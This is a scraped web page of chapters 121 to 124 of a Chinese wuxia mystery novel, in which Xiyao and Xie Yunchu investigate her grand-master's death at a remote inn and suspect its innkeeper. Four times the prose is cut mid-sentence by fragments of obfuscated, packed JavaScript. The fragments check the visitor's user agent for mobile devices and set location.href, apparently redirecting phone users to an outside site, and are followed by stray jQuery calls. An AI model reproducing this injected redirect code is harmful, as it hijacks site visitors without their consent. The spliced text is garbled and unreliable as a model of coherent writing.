RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096701|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“臭婆娘,你怎么不去抢啊。200两银子,老子吃喝了什么东西这么贵啊?”那“洪爷”即便是单手被制住,一听到这么大的数额,还是忍不住嚷嚷起来。 “吃喝是没有多少银钱啊,可是你去年和买马的人约在我店里见面,一言不合就动气手来,哦,不对,是一言不合您就挨打了。这一打起来可好,我这店里头,别说桌椅板凳,碗筷酒壶不知被砸碎多少,就连后面一整墙的杏花红也都砸了个精光。这杏花红的价格大家可都是知道的,一坛已经不便宜了,这一墙下去,加上零零碎碎的,可不就得200两了么。” “你说一墙就一墙啊?”这“洪爷”犹自逞强,却看到他的胳膊又被往后掰了一些,“哎呦,疼,疼!你说多少就多少,我付钱还不行么?”说着另外一个手扯下了腰间的荷包,丢了过去。 牡丹接到荷包,一打开,挑了挑眉,从里头拿出两张折得小小的银票,眼神示意阿大放手,然后把荷包口子一抽,又丢了回去。一转身,笑容重新回到了脸上。 “好了,账算清了,咱们就可以继续喝酒了。来,阿大,给洪爷上一壶咱们今年新酿的仙人醉,算是我给洪爷赔个不是,咱们多年老交情了,和不能为了一点小事上了情分啊。” 说着,屁股一扭,往夕瑶他们这一桌走来。 “三位客官看着面生,这是第一次来我们云边客栈吗?”老板娘边说着,一只手就搭上了谢云初的肩膀,“客官不知怎么称呼啊,要到哪里去啊?在小店住几日啊?” 谢云初不懂声色地借由拿包袱,甩掉了老板娘搭在肩上的手,“要两间连着的上房,最好能安静些的。另外,要一些饭菜,挑店里拿手的就行,荤素都要,帮我送到房里去。” “有有有,都有,走廊尽头刚好还有最后两间上房,安静清爽,这就给您安排。饭菜一会儿我也让阿大送上去,客官稍等便是。只是这银资......小店概不赊账哦。”说着,她又朝着谢云初靠了靠,顺带给他飞过一个媚眼。 谢云初从袖子里摸出一个银锭递上,牡丹用两个手指夹住,笑嘻嘻地握在手里,扭着身姿走了。 “这叫牡丹的店主不简单啊。”到了上房,夕瑶左右检查了一遍,关上房门,第一句话就是这个。 “可不就是,能在这一群财狼虎豹中间讨生活,但凡有一丝软弱,都能叫人生吞了。” 看谢云初帮着牡丹说话,夕瑶瘪了瘪嘴,“也不知道到底谁才是财狼虎豹,这一路来,别人可都说这云边客栈是黑店呢。” 夕瑶这反应,倒是让谢云初心情大好。忍不住想要逗逗她。 还没来得及开口,门口传来了脚步声,柳四很警觉地起身走到门边,只听到一个略低沉含糊的声音传来,“客官,您的饭食送来了。” 柳四打开门,接过装好饭食的托盘,门外,正对着老板娘牡丹亲自拿着另一个装了饭菜的托盘在一个关着的房门前唤道,“客官,您的饭食给您送来了。客官......” 她声音响亮甜腻,整个云边客栈都能听到。 只见牡丹唤了几声,依旧不见有人开门,忍不住用肩膀往门上靠去,那门似乎就没有上闩,被她一靠还真就打开了。 不一会儿,从房里传来了牡丹惊恐的声音,“来人啊,出事儿啦,死人啦......” 121. 风雨云边 4 牡丹这一声叫,整个大厅的人都被惊到了。只见那一瞬,大厅里那些原本推杯换盏喝酒吹牛的人都静默了下来,你看我我看你,然后放下酒杯筷子,纷纷沿着客栈中间的木质楼梯,围到了出事的房门门口。 夕瑶和谢云初也跟了上去。临出门的时候,柳四留了个心眼儿,锁门的时候,在门上做了个记号。 走到房门前,门口已经围了不少人,却没有一个进屋的,都堵在门口议论纷纷。 “可真是晦气啊,怎么好端端的还死人了呢?” “这有什么,这里可是云边客栈,啥时候少过事儿啊?” “可少说两句吧,回头小心被老板娘骂哦。” 夕瑶穿过人群迈进屋子,只看到牡丹一个人跌坐在地上,身旁是一个木质的托盘和一些倒翻的饭菜。抬头看去,靠着外窗的一个美人榻上,一个满头白发的老者,正一动不动地半躺在榻上。 夕瑶绕过了牡丹,继续往前走,不知怎么地,她回头看了一眼。牡丹还一手撑着地,一手捂着胸口,一脸眼泪汪汪,惊魂未定的样子。 她继续往前走,到了美人榻前,小心翼翼地伸手,探了探老者的鼻息,一点气息也探不到了。再用三个手指在老者的颈部探了探,身子还暖和,然而脉象全无。探脉象的时候,夕瑶低头看到了老人颈部明显的指痕。 “被人掐死的?”夕瑶心中暗想,回过头,对着刚挤进屋的谢云初摇了摇头。 谢云初接到了夕瑶的眼神,心下一动,就势扶起了女店主牡丹,“敢问店主,这个老人家是谁啊?” 牡丹被扶着,娇滴滴地站起身,仿佛受了巨大惊吓一般,整个身子都靠在谢云初身上,“哎呀,真的是吓死人了。你说这好好的,怎么突然就出了这种事啊,”说着,一只手自然地抚上了谢云初的胸口。 谢云初一手抓过牡丹的手腕,拉离自己的胸口,装作扶住她的样子,回身叫到,“阿大呢,快给你家大娘子熬一碗压惊茶来。” “还是客人想得周到啊,我是真的要被吓死了,”说着,牡丹又试图往谢云初身上靠。 见她这幅样子,谢云初也不客气,“女店主还没告诉我,那位客人是何人啊?” “哦,他啊,他说他姓白,好像是从白露山来的,要往西南边陲去。” “什么?”两个声音同时响起。 “怎么,客人认识他?”牡丹看谢云初一脸震惊的样子,探究着问到。刚好这时,阿大从人群中挤了进来,见这里出了事,也不多说话,扶着牡丹就往外头走去。 见老板娘走了,屋子里也没啥看头了,门口围着的的一群人也慢慢散了去,继续回到楼下吃吃喝喝。仿佛刚才屋子里出了人命,只是很小的一段插曲。 屋里窗边,夕瑶久久不能平静,眼前的这位白发老人居然是师公。 她此次出行的目的,就是要把师公寻回去。一路上紧赶慢赶,风雨兼程都是为了能早点赶上师公。没想到,如今人是寻到了,却是这样一副场景。 夕瑶轻轻往后退了一步,一时间,各种情绪如同涨潮时候的潮水般,慢慢将她淹没。后悔,愧疚,难过,悲痛,甚至还有惶恐,不知道这样一个结果,回头要怎么和父母交代。 临行前,父母将她送到城门口,反复关照,一路上一定要注意自己的安全。父亲没说,可是夕瑶心里明白,父亲心中是有愧的。他从小上山,师公待他犹如亲子一般,如今师公出了事,父亲却因为百姓走不开。虽说自古忠孝两难全,可真的落到了自己身上,还是有如一座大山一般承重。夕瑶当时保证得好好的,一定会替父亲寻回师公,可如今看,怕是要食言了。 “要是我路上再走快些,说不定就不会有这样的事情了。”夕瑶喃喃道,一双眸子里含满了泪水,一滴一滴掉落在地板上。 一只有力的大手扶上了她的肩膀,夕瑶一回头,对上了谢云初关切的眼眸,“别胡思乱想,逝者已矣,如今最重要的,是查明老人去世的原因,让老人走得安宁。” 见夕瑶朦胧的眸子里终于唤回了一丝清明,谢云初扶着夕瑶肩膀的手略略用力,“这云边客栈,也算是在荒郊野岭了。按照之前镇上居民的说法,这里一直以来就是个三不管的地带。要指望官府来给白老爷子声张正义,怕是不能够了。既如此,就得靠咱们自己,把这案子解出来。” “说起来,你就不觉得这屋子有点不对劲吗?” 被谢云初这么一说,夕瑶渐渐缓过神来。是啊,既然逝者已矣,眼下也只能把重点放在寻找凶手上。事实上,她心里还存着疑惑,师公也是见识过大风大浪的人了,为何单单只收到了一封信,就急匆匆地出门了呢,而且连一个徒子徒孙都不带,这不合常理啊。 而这间屋子,夕瑶抬着泪眼仔细环顾了一圈。 其实自打刚刚一进门,她就隐隐感觉有些不对,可是刚才时间紧迫,她着急去看死者,一时没有分辨到底是哪里不对,如今这种感觉犹在。 只见这间房间呈长方形,屋子颇为宽敞,门位于短边的一侧。按照功能,房间大概可以分为两个区块。靠近外头大门的部分,算是吃饭和会客之用吧。一进门,首先是一个小巧的玄关区域,既作为过渡空间,也便于放置一些简单的行李或物品。玄关右侧,一扇四开的雕花木质屏风隔开了里外两个空间,透过屏风上还算精细的雕刻,能够看到,后头就是床榻的位置。玄关的右侧,是一个四人位的茶桌,配着四张圆凳,日常供客人休息和吃饭之用。刚刚牡丹就是倒在这附近,手里的饭菜如今撒了一地。 而靠里面的区域,算是相对比较私密的区域。正对着门的是一个支摘窗,下面放着一张美人榻,美人榻边上的墙角,放着一个高几,上面放着一个粗陶的花器,全当是摆设。美人榻的右手边就是床榻,角落处还有一个一人多高的衣柜。 夕瑶绕过美人榻,探到窗前。窗户是从里面拴上的,拴头扣得很死,夕瑶得颇为用力才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156948|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够拔开。推开窗户,眺望出去,外头是层层叠叠的远山,在黑暗之中,显得有些阴森恐怖。往近处看,窗户外头正是客栈的后院。院子里,阿大似乎正把石磨旁边的不知道是骡子还是驴牵回去。 正要关窗,一道闪电从云层中劈了下来,一瞬间,整个后院都被照亮了一下。是骡子,伴随着这道闪电,夕瑶看了个清楚。一边的石磨里,似乎并没有豆浆或者米浆之类的东西,倒是石磨上头,好像有一些黑灰色的灰烬。 “柳四,快,帮忙去后院看看有什么不对,然后帮我把石磨上的灰取一点回来。”眼看着暴雨将至,夕瑶来不及分辨,赶紧回身唤道。柳四没有应声,谢云初一听,知道院子里可能有线索,应了一声,脚尖一点,快步去了。 说话间,狂风四起,第二道闪电从厚重的云层中猛然劈下。相比第一道闪电,这道明显更近,力道也更大。一时间整个天空仿佛被无形的力量撕裂开来,一道耀眼至极的蓝白色光柱,猛然间从乌云密布的深处窜出,划破长空,直指大地。 就在起风的那刻,夕瑶正要关窗,这一道闪电倒是让她看到了支摘窗外沿,似乎挂着一条极细的布屑。这东西挂在窗户外侧的一道木刺上,若是平日里,怕是根本看不到。也就是这一道闪电,极亮,加上周围黑色的背景,反而将这一缕布屑凸显了出来。 夕瑶伸手往外,小心翼翼地将布屑取下,抱在锦帕中。顺带用手指摸了摸那处,果然,窗沿老旧了,整块的木料上有些细小的裂痕,这布屑估计就是被这些裂横上的木刺挂到留下的。 “可是,日常关窗子,袖子会刮到这里吗?”夕瑶有些疑惑。 不等她想明白,远处传来轰隆隆的雷声,风更大了。 大风从窗口灌进,眼看着要将屋里的陈设吹乱。 夕瑶不及多想,赶紧关上窗户。 眼前的这个屋子,除了床榻和后头的柜子,别的东西都一目了然。 夕瑶走到床榻前,榻上东西很少,只一个半旧的枕头和一床折得整整齐齐的薄被。 她将手伸进枕头下面,果然,摸出了一个明显有了年头的香囊。夕瑶没见过师公,可是这个东西她是认得的。这香囊里,装的是各式的草药,除了用来驱除蚊虫鼠蚁以外,也有清心解毒之用。对于一般的迷药或者蒙汗药,这个香囊就足够了。 检查完床榻的下面,除了一些陈年的灰尘以外,一无所有。 所以,眼下,就只剩下眼前的这个衣柜了。 白老爷子今年虽然已经八十多了,可是身子一向健朗,加上也会些拳脚功夫,遇到歹人之时,正是大家都围坐在大厅内吃饭的时候。呼叫之声可能被楼下的喧闹盖住,可是整个屋子都没有打斗的痕迹,这不是太奇怪了吗? 凶手是如何在众目睽睽之下逃离现场呢? 还是说,这个人根本就没有走,而是一直藏在衣柜之中? 夕瑶颤抖着手,小心翼翼地搭上了衣柜的搭扣。 122. 风雨云边 5 “小心!” 眼看着要拉开衣柜,谢云初匆匆从房门口跑进来,刚才外头大风,他的发髻也吹乱了,头上似乎还沾着树叶。 “你就这么打开柜子,万一歹人躲在里头怎么办?你一个人要如何应付?”谢云初一向对夕瑶都和和颜悦色,这会儿是真着急了,说话语气也不是很好。 见夕瑶沉默着不说话,气氛有些尴尬,他摸了摸鼻子,刚刚好像是语气太重了。正想着找补,就听身边传来夕瑶略带了点鼻音的声音。 “你说的是,是我大意了。我只是刚刚看到师公的香囊,有些走神了,下次会注意的。” 谢云初没想到夕瑶这反应,一时之间竟不知道如何接话,“我,我也不是要怪你的意思,就是怕凶手还躲在衣柜里,你一个人在屋子里,有危险。” “嗯,我知道的。” 见夕瑶这样,谢云初愈发是有点急起来。可是这说出去的话就如同泼出去的水,要收回是不可能了。眼下只有转个话题了。 他侧着身,一手拦开了夕瑶,然后抓住衣柜的门把手,猛地一把拉开。 没有,没有凶手,没有凶器,衣柜的除了一床略发着一点霉味的厚被,别的什么都没有。 说不清是松了一口气更多还是失望更多,两个人又仔细检查了屋子内外,除了在门上找到了和窗户上一样的极不起眼的一小条布屑,别的似乎什么都没有。 “走吧,今日不早了,眼看着又要下雨,索性等到明天白天,再来仔细检查白老太爷的死因吧?” 夕瑶点点头,正要走,看着地上散落的饭菜,担心会引来虫蚁,蹲下身收拾。谢云初也蹲下身帮忙,两人四手动作很快,加上饭食里面并无汤水,收拾起来也算是便利。 刚要站起来,夕瑶的脑中突然灵光一闪,她知道刚才那个怪异的感觉是什么了。 她站起身,面对着美人榻,双眼直视着榻上的老人。 “怎么了?” “你看,从我们站的位子看过去,是不是只觉得老人家是睡着了?正常情况下,看到客人躺卧在美人榻上,一般人第一反应都会是对方睡着了吧?你还记得老板娘进入这个客房以后的反应吗?” 谢云初眼睛一闭,脑袋里回想起了刚才的一幕。客栈老板娘牡丹在门口敲门,半天没人应门,她用肩膀顶开了门以后,片刻功夫,门内传来了她的叫声,“出事儿啦,死人啦......” 等一下。 仿佛是脑子里跑着走马灯一般,谢云初把画面定格在了老板娘走进门的一瞬。 为了确认,他拉过夕瑶,让她走到门口,带上门,然后从外面用肩膀把门顶开。 夕瑶照做,侧身,顶开门,进屋。 “不对。不是这样的。” “什么不对?”夕瑶回身望着大门,门外对出去隔着一圈围廊,正是自己的屋子。 “我知道了!”她的声音里传过了一丝了然。 “如果像我这样顶开门,那之前我们坐在对面的屋子里,就应该能透过门看到屋子里面的情况。可是我不记得我有瞟到过屋子里面的情况。你也和我一样吧?” 谢云初看着门,若有所思地点点头。 夕瑶走到门外,合上房门,重新调整了角度。这客房的门是那种市面上最最常见的子母门,左右两扇门板并不是完全一样的,而是在合上的时候,前后相扣。所以一般情况下,若是顶在靠外的那块门板上,自然两个门都会打开,房内的情况也会一目了然。 而相反,若是顶在了靠屋内的那块门板上,夕瑶重新试了一试,靠外的门板纹丝不动,而靠内的门板轻开,若是用力得当的话,刚好能够开一个缝,供一个娇小的女子闪身而入,屋子内部的景象从外面也看不清楚。 “所以这个老板娘有问题。”两人四目相对,得出了第一个结论。 但是很快,这个结论就被夕瑶自己质疑,“不对啊,我记得很清楚,老板娘从进门到发出惨叫,一共就没多少时间。这么短的时间内,要制服师公,完全不发出声音,然后消除打斗痕迹,这不太可能啊。” “的确,这是个问题。但是你不觉得老板娘的确是有可疑吗?云边客栈,那可是方圆百里出了名的黑店,老板娘什么阵仗没见过。刚才在楼下,你也看到了,她自己说,去年那个洪爷被人打得满身是血,还是她出面调和的。可见在这个地头,此人说话颇有分量。而刚才这屋子里出了事,食客们也不过是来看个热闹,这会儿照旧喝酒吃肉,说明这样的事情在云边客栈不是稀奇事儿了。既然如此,那这老板娘牡丹,从众人一进门,就表现出一副受了惊吓的样子,这不是太假了吗。” 夕瑶白了他一眼,没说话。 谢云初没看懂,接着问道,“你白我做什么,我说得不对么?” “对对对,你说得对?”夕瑶一想到老板娘对着谢云初,娇滴滴的样子,没好气地回到。 “我既没说错,那你为何生气了?” “我......”夕瑶快要被这呆子弄疯了,这事儿还不明显吗?可偏就这呆子看不清。不仅看不清,还一个劲儿地问。 “你是真不知道人家老板娘为何这样做?”见谢云初一脸木讷的样子,夕瑶按下怒气,尽量放低音调说道,“你回忆一下,从咱们进门老板娘看到你那会儿开始,人家的这双眼睛可就没移开过你身上吧,这还不明显?” “你是想说老板娘看上了我?”谢云初忍不住笑出了声。 “你笑什么,我说得不对么?”被他这一笑,夕瑶又有些懊恼起来。 “你说得对,”谢云初看夕瑶这表情,心里的花儿都要开起来了,脸上的笑意更是压不住,嘴角都要咧到耳朵后了。“只是我没想到,你会这么关注老板娘看我的眼神。” 被他这一点破,夕瑶愈加不好意思起来,忍不住使劲儿板着脸道,“谁关注你了,没羞没臊的。说案子呢。” “是是是,说案子,说案子。”谢云初见好就收。 “没错,这老板娘的确是一副娇滴滴,好像特别青睐我的样子,但是啊,我敢说,这会儿要是我和一张二百两的银票同时落水,她指定是先捞银票。” 夕瑶点点头,心里想着,“算你有自知之明”,一个念头转回来,她似乎听懂了谢云初的言下之意。 “你是说?” “我是说,老板娘对我也许有高看一眼,但撑死了也就是一眼罢了。能够在这个三不管地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220410|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区站稳脚跟,这个老板娘牡丹显然不会是什么简单角色,她对于人的高看或者低看,大抵上不会影响她自己的目的。” 夕瑶点点头,在这个角度,她同意谢云初的看法。一个女子,能够在这样一个三教九流混杂的地区撑起一家客栈,绝不会是简单人物。 既如此,她装出这一副受了惊吓的样子,目的又是为何呢? “对了,我们刚刚搜查了一圈屋子,好像没有发现白老爷子的包袱啊,按理说,即便是走得再急,老爷子也不至于空手上路。” “是,之间听爹爹说起过,白露山的师兄弟们出门,身边除了换洗衣裳和盘缠以外,一般还会带着药箱。就算自己用不到,一路上总有人会用得上。刚刚我把床榻里外都看了,榻下也找了,的确什么都没有。好像除了师公身上的衣裳,和屏风后面挂着的一件半旧的袍子以外,没有别的东西了。” “那袍子我也检查了,应该是穿了好多年了,有些地方都快磨出窟窿了,不值什么钱。”夕瑶回过身,压低了声音在谢云初耳边说道,“我也考虑过,是不是这老板娘谋财害命,可是这念头一出来就被我打消了。” “哦?怎么说?” “你可能不知道,白露山虽说是杏林世家,培养了不知道多少代的御医国手,可是并不富裕。一般人家把孩子送上山,略有钱的一年花上几吊钱,没钱的不花钱,孩子也照样学。山上还负责孩子的吃住,虽说清苦,但是温饱是没问题的,可比一般的学堂便宜多了,这也是我爹爹当年上山学医的部分原因。所以在教导学生这一头,白露山并没有什么收益。而从田产上看,白露山虽然有不少山头,可是山上耕种不便,一年到头,就靠着一些山货和草药过活。更不用说,白露山世世代代都有施粥送药的传统,所以结余并不多。” “加上师公这次接到信,走得匆忙,能带上的银钱估计有限。虽说他这药箱里,估计有不少药是世间难求的,但也仅限于懂行的人,对于不懂行的人来说,那些并无多少价值。” 谢云初听完了然,的确,这样看起来,说谋财害命,的确是有些牵强。楼下这些走南闯北贩货的,随便拎出一个来,包袱里的盘缠都要比老爷子的丰厚得多。 “但是不管怎么说,这老板娘牡丹的确有可疑。”两人一顿分析,最后达成这样一个结论。 眼看着屋里暂时没啥要检查的了,尸首也得等明天白天,天亮堂一些再检查,夕瑶和谢云初退出了屋子。也不知谢云初一开始藏在了哪里,只见他突然掏出了一根两尺多长,约莫一寸宽的软剑,插进门闩处,又把剑头绕过来,插进剑柄。 见夕瑶疑惑,他略略解释道,“这柄软剑是特质的,平时出门在外,可以当做锁扣之用,一般人打不开。” 两人并肩走到自己的房门外,柳四正从楼梯上走上来,见到他们,压低了声音,“我刚刚去摸查了一下,案发之时,有没有谁不在现场。”边说着,三人边抢钱走去。 走到房门口,夕瑶正要推开房门,谢云初一把抓住了她的手腕,“等一下!” 柳四上前仔细端详了一番,回身来报,“将军,我们出门之时,我在门上做了记号,如今记号已经不在,有人进过咱们的屋子。” 123. 风雨云边 6 夕瑶闻言眉头一皱,这一小会儿的时间,已经有人摸进了自己的屋子? “另一个房间呢?”谢云初回头低声问道。 “属下去看看。”柳四很快去了隔壁屋子门口查看,回报说“这个屋子也有人进去过。” “莫声张,看看他们到底想要干什么。” 三人如无其事地走进房间,进门茶桌上,刚才送来的饭食都还有些许温热。 就是这么一会儿的功夫,师公就没了,夕瑶心中暗自神伤。但是不管如何,斯人已矣,再难过也得打起精神来。人家都已经摸进房间了,若是一味沉溺悲痛,怕是要被人连皮带骨都吃下肚去。 谢云初拉着夕瑶坐下,给了柳四一个眼神,柳四心领神会,走到门边,将门轻轻合上。 夕瑶这头倒是干脆。一桌子饭食,离开了眼睛,屋子里还有人进来过,谁知道饭菜里可能被人加了什么“料”。可是别人害怕,她却不会。从小在药房里长大的孩子,虽然不曾混过江湖,不了解最新的迷药,但是光靠着识,闻,试,也能判断个八九不离十。更何况,她随身可带着各种解毒的丸药呢,各种难解的蛇毒,花毒尚且不在话下,更不用说区区迷药了。 她从随身带着的小荷包里摸出三粒,一粒自己吃下,两粒分别交给谢云初和柳四,然后大家就当做什么事情都没有发生一样,该吃吃该喝喝。 半炷香的功夫,桌上的饭菜被吃得七七八八。 柳四耳尖,听到门外传来很轻微的脚步声,做手势和另外两人示意。另外两人立刻心领神会,装作犯困的模样,谢云初和柳四趴在桌子上,夕瑶走到窗前的美人榻上靠下。三人均慢慢控制呼吸,静静等着门外之人。 只过了一小会儿,门外传来衣服摩擦门板发出的嘻嘻索索之声,再接着,很轻的“吱呀”一声,一块门板轻轻开了一条缝,接着,一只纤细的手伸了进来,一截胭脂水色的袖子,在油灯的照耀下也依旧鲜活靓丽。 只见来人十分谨慎,并未直接往里走,而是走进门以后,不着急关门,半开着一个门板。 夕瑶从刚才对面屋子的情况已经知晓,这样半开一个门板,从对面看过来并不能看清屋里的情况,但是半开,意味着回头万一屋内发生了什么,老板娘牡丹要溜出去可是方便多了。 屋内三人也不着急,各自眯着眼睛,静候着老板娘的下一步行动。 只听见她刻意压低了嗓子,轻声轻气地说到,“客人用好饭了吗?饭食可还满意?我来收一下吃完的碗筷。” 自然,屋子里一片安静,一点响动都没有。 见都睡沉了,牡丹胆子也大了起来。她走上前,先去摸了柳四的胸口,从他身上摸出了一些碎银子,一张出入州府的通关文书,这是之间就备好的,上面的信息也是假的。牡丹草草翻阅,又将东西都放了回去。 接着,她摸到了谢云初身旁。 谢云初身上也是一样,除了多了几张银票之外,并没有多少东西。老板娘不死心,蹲下身子,摸了摸谢云初的小腿,从靴子里摸到一个小小的匕首。她抽出来快速看了一眼,乌漆嘛黑的,匕首的柄上也几乎没有任何装饰,不像之前的那些客人,随身匕首的刀柄上总是有各种宝石镶嵌。 她把匕首插回靴子里,又检查另一只靴子,什么都没有。 牡丹微微皱眉,在谢云初身旁站了一小会儿,似是在思考还有哪里没有找过。好似是一下子想不到,她抬头朝着夕瑶走来。 夕瑶第一次遇到这种场面,纵使是有些心理准备,这会儿也忐忑得很。眼看着牡丹一步一步走近,她的心跳越来越快,眼看着就要跳出嗓子眼儿了。 房间不大,从茶桌到美人榻也就是几步的路程。转眼间,牡丹已经站在身前。 夕瑶用力控制着呼吸,尽量表现得像是熟睡之人一般。好在是侧躺着,她眯着眼睛,能够些许看到牡丹的动作。只见她伸出双手,先往美人榻后方摸索了一番,没摸到东西,注意力又放到夕瑶身上来。 说来也奇怪,刚在牡丹一路走来的时候,夕瑶紧张得很,这会儿人走到面前,开始当面搜索了,她反倒是不这么紧张了,甚至,还因为有机会近距离端详对方,让夕瑶有了一丝兴奋。 和牡丹给人娇柔的印象不同,牡丹的一双手伸出来,一看就是从前过过苦日子的,骨节粗大,手上的皮肤即便是用油脂保养了,骨节却是没办法再变小了。 咦,随着牡丹在她身上搜素,夕瑶似乎看到了她手腕上有一处凸起,还带着血丝。 眯着眼睛太费力了,能看到的视线很窄,也模糊。 夕瑶除了腰间的小荷包以外,这会儿身上没有藏东西了,就连之前谢云初给的弩箭,因为男士靴子靴口太大不好藏的缘故,今天也没有穿在身上。而腰上的小荷包,外表半旧,里面看起来也就是一些小丸子,外行人绝看不出门道。 果然,老板娘牡丹快速搜了一遍以后,把重点放到了夕瑶胸口的位置上。一般人最常把贵重的东西放在这里,而夕瑶呢,为了掩饰自己的女性身份,可是用了厚厚的裹胸布把自己胸口缠绕起来。 老板娘牡丹只轻轻地摸了摸夕瑶的胸口,又端详了一番她的耳朵,轻声道,“原来是哪家的小娘子啊,易了妆容跑出来玩儿了哎,这一路上穷山恶水的,也不知是有什么好玩儿的。”说罢,她又轻轻把夕瑶的手放回身侧。 也就是牡丹的这个动作,让夕瑶看清楚了她手腕上的情况。牡丹的手上,在手腕往肘关节大约一寸出,有平行于手腕的刀伤,还不止一道。伤口愈合以后,表皮留下了凹凸不平的疤痕,犹如一条粉色的蚯蚓横在手臂之上。 而如今,这蚯蚓上方,还有一道竖着的口子。口子很浅,是刚划开的,这会儿已经止了血,但是这一道鲜红还是很明显。 “看着口子的深浅以及愈合状况,估计也就是一炷香左右的时间划伤的。而一炷香之前,老板娘似乎在师公的屋子里。是被打碎的碗碟碎步划伤了?好像不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250222|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像,瓷片划伤的伤口应该更深一些,也更光滑。而且刚刚收拾的时候,也没有见碎瓷片上沾血啊。”夕瑶心里默默想着,眼神的焦点依旧跟着牡丹。 只见她在屋子里又小小巡视了一番,实在没有找到别的东西,便走回夕瑶身旁,俯身绕过夕瑶,把她美人榻后面的支摘窗推开了一些。 如今外头雨势依旧很大,窗子一推开,加上房门半开留着的缝儿,形成了对流,让外头的风雨急急往屋子里灌。雨水打在身上,让夕瑶忍不住一哆嗦。 牡丹原本已经要走了,见夕瑶被风雨吹得不安稳,又折返回来,把窗子开得小了些,只留两指宽的一道缝,这样风能够吹进来一些,雨水却是灌不进来了。 做好这一切,牡丹轻手轻脚地掩上房门,退了出去。 确认脚步声已经走远了,屋内三个人都坐了起来。 “呼,终于走了,”柳四先扭了扭自己的后背,“她动作可真慢,一共三个人,搜查花了这许多的时间,趴得我腰酸背痛的。” “将军,小姐,刚才你们在对面屋子的时候,我就摸查了一遍,从我们进客栈开始,除了白老爷子,所有的客人都在楼下用饭呢,没有人在屋子里。唯一中途不在现场的,只有老板娘牡丹和她那个叫阿大的伙计。可是老板娘是个女流,从刚刚她进房间的动作来看,她不像会武的样子,所以凶手会不会就是......” “不会是阿大,”夕瑶笃定地说。 “这是为何?” “你们俩留意到了吗?阿大的体型庞大,体重和力气也非一般男子可比,从杀人的角度上看,这自然是好处,可是在这起案子里,我却觉得不是这么回事儿。你们看,这云边客栈里头的门窗墙体,都已经都有了年头。二楼木质的楼板更是已经老化,寻常人走在楼上,尚且会发出咯吱咯吱的声音,阿大这大块头走在上面,更加免不了出声。若是阿大出手杀了师公,杀人之后又要返回楼下,这来回的动静也太大了,很难不引人注意。” 谢云初点点头,“的确,在这样老旧的木楼中杀人,大块头的动静太大了。可若说是老板娘牡丹动的手,按照尸体的情况来推断死亡时间,她能下手的时机一共有两次。一次是我们点了饭菜以后,牡丹去后厨忙活了,这一段时间,没人见过她;另一次机会就是牡丹端着饭食给白老爷子送饭的时候。可是两次时间都非常短,要杀人,清理现场,毁灭痕迹都很困难。” “特别是第一次,牡丹杀完人以后,还得从白老爷子的屋子里退出来。虽然说只是二楼,跳窗也可以,但是若没有点功夫,跳窗的动静也可能引起一楼正在吃饭的客人注意。” 谢云初说完,夕瑶半晌没说话。之后,缓缓地从袖口里拿出了一块丝帕。这是刚才牡丹漏掉的。 夕瑶把丝帕打开,里面有两条极小的布屑,其中一条布屑,如果仔细看的话,还能看到上面些许的血迹。 “这条沾有血迹的布屑,是从师公房间的窗框上找到的。” 124. 风雨云边 7 谢云初和柳四看到丝帕里的沾血布屑,心中皆是一惊。二楼这个高度,对于不会武艺的女子来说的确有点困难,但若是有了布条,提前绑在窗框上,借力爬下来,那这点高度似乎也不是大问题。 夕瑶摸索着两条布屑,心中回想着刚刚牡丹搜自己身上时,手腕上露出的浅浅刮伤。 “怎么了,你想到什么了?”谢云初见夕瑶发愣,抬手轻轻碰了碰她的胳膊。 夕瑶定了定神,两个手指捏住布条,拿到他俩面前,“我一共发现了两条这样的布屑。” 她先举着一条带血迹的,“这条是在对面屋子美人榻后面窗户的窗框上找到的,我当时的第一反应也和你们差不多,猜想会不会是凶手杀人以后放了布绳下去呢?但是等我发现第二条布屑的时候,我就改变了想法。” 夕瑶拿出第二条布屑递了过去,“这条布屑,是在师公屋子的大门上发现的,你们注意看,这两条布屑的材质和颜色是一模一样的。区别是,窗框上的这条,有一丝血迹,而门上的这条,没有血迹,但是在这个地方......” 她上前用手指指了指布屑上突出的一对小洞,看起来是被什么东西卡住用力以后留下的痕迹。“这一对小洞不知道是怎么留下的。另外,如果凶手只是要逃生,从窗户坠布绳下去即可,为什么布屑会留在大门这里呢?这说不通啊。” 